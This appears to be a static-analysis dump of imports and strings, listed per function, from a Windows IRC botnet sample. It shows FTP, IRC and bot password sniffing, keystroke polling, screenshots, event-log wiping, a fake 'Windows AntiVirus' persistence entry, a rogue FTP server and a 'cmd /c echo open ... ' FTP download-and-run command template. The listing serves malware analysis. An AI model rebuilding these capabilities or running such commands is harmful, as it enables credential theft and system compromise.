sub_outside():
	KERNEL32.Sleep
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.ExitProcess
	WS2_32.WSAStartup
	WS2_32.WSACleanup
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	WS2_32.getsockname
	WS2_32.inet_ntoa
	DNSAPI.DnsFlushResolverCache
	WS2_32.closesocket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.gethostbyaddr
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.ReadFile
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer
	WS2_32.WSAGetLastError
	KERNEL32.CloseHandle
	WS2_32.select
	WS2_32.getpeername
	KERNEL32.TerminateThread
	KERNEL32.GetCurrentProcess
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.__WSAFDIsSet
	USER32.GetForegroundWindow
	USER32.GetWindowTextA
	USER32.GetKeyState
	USER32.GetAsyncKeyState
	WS2_32.gethostname
	WS2_32.WSAIoctl
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htonl
	WS2_32.sendto
	GDI32.CreateDCA
	GDI32.GetDeviceCaps
	GDI32.CreateCompatibleDC
	GDI32.CreateDIBSection
	GDI32.SelectObject
	GDI32.BitBlt
	GDI32.GetDIBColorTable
	GDI32.DeleteObject
	GDI32.DeleteDC
	WININET.InternetOpenUrlA
	WININET.InternetCloseHandle
	USER32.FindWindowA
	KERNEL32.SearchPathA
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcessHeap
	KERNEL32.CreateToolhelp32Snapshot
	KERNEL32.Process32First
	KERNEL32.Process32Next
	KERNEL32.lstrcmpi
	KERNEL32.OpenProcess
	KERNEL32.Module32First
	KERNEL32.CreatePipe
	KERNEL32.GetVersion
	KERNEL32.LCMapStringW
	KERNEL32.WideCharToMultiByte
	KERNEL32.GetStringTypeW
	KERNEL32.MultiByteToWideChar

sub_4249B3(0126):
	KERNEL32.SetUnhandledExceptionFilter

sub_416AA3(019e):
	"%sKB"
	"failed"

sub_41263A(078a):
	"FTP	sniff"
	"#Bo"
	"NICK	"
	"220 "
	"230 "
	"USER	"
	"PASS	"

sub_41DFF2(0a41):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy

sub_4125C4(0d1f):
	"IRC	sniff"
	"#Bo"
	"OPER	"
	"NICK	"
	"oper	"
	"You are now an IRC Operator"

sub_40C5B7(0d6f):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle

sub_4250D1(0e35):
	KERNEL32.LoadLibraryA

	"user32.dll"
	"MessageBoxA"
	"GetActiveWindow"
	"GetLastActivePopup"

sub_401875(0f5b):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

sub_40FA29(0fa0):
	KERNEL32.GetFileAttributesA
	WS2_32.closesocket
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

	"\\%s"
	"%s"
	"\n"
	"*"

sub_418B56(136f):
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_423287(18d1):
	"C:\\m_unpacker\\packed.exe"

sub_426153(199d):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.MultiByteToWideChar

sub_4158F2(1c79):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

start(21e8):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

	"Windows AntiVirus oo"

sub_40BE55(22a3):
	"%d.%d.%d.%d"

sub_422828(22de):
	NTDLL.RtlSizeHeap

sub_417F6F(24da):
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

sub_41A6BE(28ac):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	KERNEL32.GetTickCount
	WS2_32.send
	WS2_32.closesocket

	"POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
	"\r\n"

sub_40B8B2(28ed):
	WS2_32.inet_ntoa

sub_4175A9(2950):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

sub_41123B(2ae6):
	WS2_32.send
	WS2_32.recv

sub_4194C0(2bcd):
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."

sub_40AA20(2cf7):
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry

sub_422FF2(2f2e):
	KERNEL32.UnhandledExceptionFilter

sub_411D74(3823):
	KERNEL32.GetLocalTime

	"\\"
	"winnt99.bat"
	"ab"
	"[%d-%d-%d %d:%d:%d] %s\r\n"

sub_40BE0D(3b1d):
	WS2_32.htonl

sub_41BFCC(3d17):
	NTDLL.RtlGetLastWin32Error

sub_4186C5(3f0f):
	KERNEL32.GetVersionExA
	ADVAPI32.OpenEventLogA
	ADVAPI32.ClearEventLogA
	NTDLL.RtlGetLastWin32Error

sub_40F360(4036):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_41A89B(4107):
	"www.schlund.net"
	"www.utwente.nl"
	"verio.fr"
	"www.1und1.de"
	"www.switch.ch"
	"www.belwue.de"
	"de.yahoo.com"
	"www.google.it"
	"www.xo.net"
	"www.stanford.edu"
	"www.verio.com"
	"www.nocster.com"
	"www.rit.edu"
	"www.cogentco.com"
	"www.burst.net"
	"nitro.ucsc.edu"
	"www.level3.com"
	"www.above.net"
	"www.easynews.com"
	"www.google.com"
	"www.lib.nthu.edu.tw"
	"www.st.lib.keio.ac.jp"
	"www.d1asia.com"
	"www.nifty.com"
	"yahoo.co.jp"
	"www.google.co.jp"

sub_40E2E5(4c1f):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

	"ibmcvevvpwy.exe"
	"cmd /c echo open %s %d >> ii &echo user"...

sub_40B63A(4c22):
	" Scan Time: %s."

sub_419828(4dbc):
	ADVAPI32.LookupPrivilegeValueA
	ADVAPI32.AdjustTokenPrivileges
	KERNEL32.CloseHandle

sub_40E69E(4e3f):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

	"ibmcvevvpwy.exe"
	"cmd /k echo open %s %d >> ii &echo user"...

sub_41AF92(4f24):
	WININET.InternetCrackUrlA
	WININET.InternetConnectA
	WININET.HttpOpenRequestA
	WININET.HttpSendRequestA
	WININET.InternetCloseHandle

sub_421BF9(502f):
	"e+000"

sub_40BF8E(5047):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep

	"sym"

sub_410FCB(5689):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle

sub_41AB62(5868):
	KERNEL32.Sleep

sub_41EE8E(58ed):
	KERNEL32.VirtualAlloc

sub_416A5B(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_40D066(5f99):
	WS2_32.send

	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...

sub_41B3F2(6050):
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap

sub_422A04(6091):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error

sub_425912(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"

sub_4189D8(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_41E7A5(64eb):
	KERNEL32.VirtualAlloc

sub_40ED60(66d7):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 StnyFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"[FTP]: I just	owned: %s"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_4240A6(66df):
	KERNEL32.WideCharToMultiByte

sub_41714F(6944):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

	"WINLOGON"
	"NWGINA"
	"MSGINA"

sub_415B31(69df):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey

	"r"
	"="
	"="

sub_4238CD(69e9):
	""
	"..."
	"Runtime Error!\n\nProgram: "
	"\n\n"
	"Microsoft Visual C++ Runtime Library"

sub_423BE3(6be0):
	NTDLL.RtlGetLastWin32Error

sub_40E78C(6bfa):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.closesocket

sub_415EA1(6c15):
	WS2_32.socket
	WS2_32.htons
	WS2_32.bind
	WS2_32.getsockname
	WS2_32.listen
	KERNEL32.CreateFileA
	WS2_32.inet_addr
	WS2_32.htonl
	WS2_32.select
	WS2_32.accept
	WS2_32.closesocket
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.recv
	KERNEL32.CloseHandle
	WS2_32.inet_ntoa

sub_41B2A1(6c37):
	NTDLL.RtlFreeHeap

sub_40F477(6cf2):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError

	"GET "
	" "
	"\r\n"

sub_417B38(7166):
	"-|`_\\{[]}"
	"-|`_\\{[]}"
	"-|`_\\{[]}"
	"-|`_\\{[]}"

sub_416F7D(740a):
	KERNEL32.LoadLibraryA
	KERNEL32.GetEnvironmentVariableW

	"SeDebugPrivilege"
	"NTDLL.DLL"
	"NtQuerySystemInformation"
	"RtlCreateQueryDebugBuffer"
	"RtlQueryProcessDebugInformation"
	"RtlDestroyQueryDebugBuffer"
	"RtlRunDecodeUnicodeString"
	"USERNAME"
	"USERDOMAIN"
	"SeDebugPrivilege"

sub_41B703(7566):
	NTDLL.RtlAllocateHeap

sub_414C60(772a):
	WS2_32.connect
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.getsockopt

sub_419BEB(7918):
	KERNEL32.CloseHandle

sub_4124AD(79f8):
	"Bot	sniff"
	"#Bo"
	"[PSNIFF]:"
	"PSNIFF//"
	"JOIN	#"
	"302 "
	"366 "
	":.login"
	":!login"
	":!Login"
	":.Login"
	":.ident"
	":!ident"
	":.hashin"
	":!hashin"

sub_4137F8(79fd):
	WS2_32.htons
	WS2_32.socket
	WS2_32.ioctlsocket
	WS2_32.connect
	KERNEL32.Sleep
	WS2_32.closesocket

sub_4234D4(7fa9):
	KERNEL32.GetEnvironmentStringsW
	KERNEL32.GetEnvironmentStrings
	KERNEL32.WideCharToMultiByte
	KERNEL32.FreeEnvironmentStringsW

sub_4268EC(822d):
	"invalid string position"

sub_4266C0(822d):
	"string too long"

sub_426C4A(83a2):
	KERNEL32.LCMapStringW
	KERNEL32.WideCharToMultiByte
	KERNEL32.MultiByteToWideChar

sub_417759(8474):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.connect
	WS2_32.closesocket

sub_41DC92(84ec):
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

sub_41E04F(8555):
	NTDLL.RtlAllocateHeap

sub_40B1F9(8732):
	"%s %s	stopped. (%d thread(s) stopped.)"
	"%s No	%s thread found."

sub_40BEF1(8768):
	WS2_32.socket
	WS2_32.htons
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket

sub_41E0C2(87ad):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_4190F2(893c):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"

sub_40FCD8(8a1e):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.Sleep

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n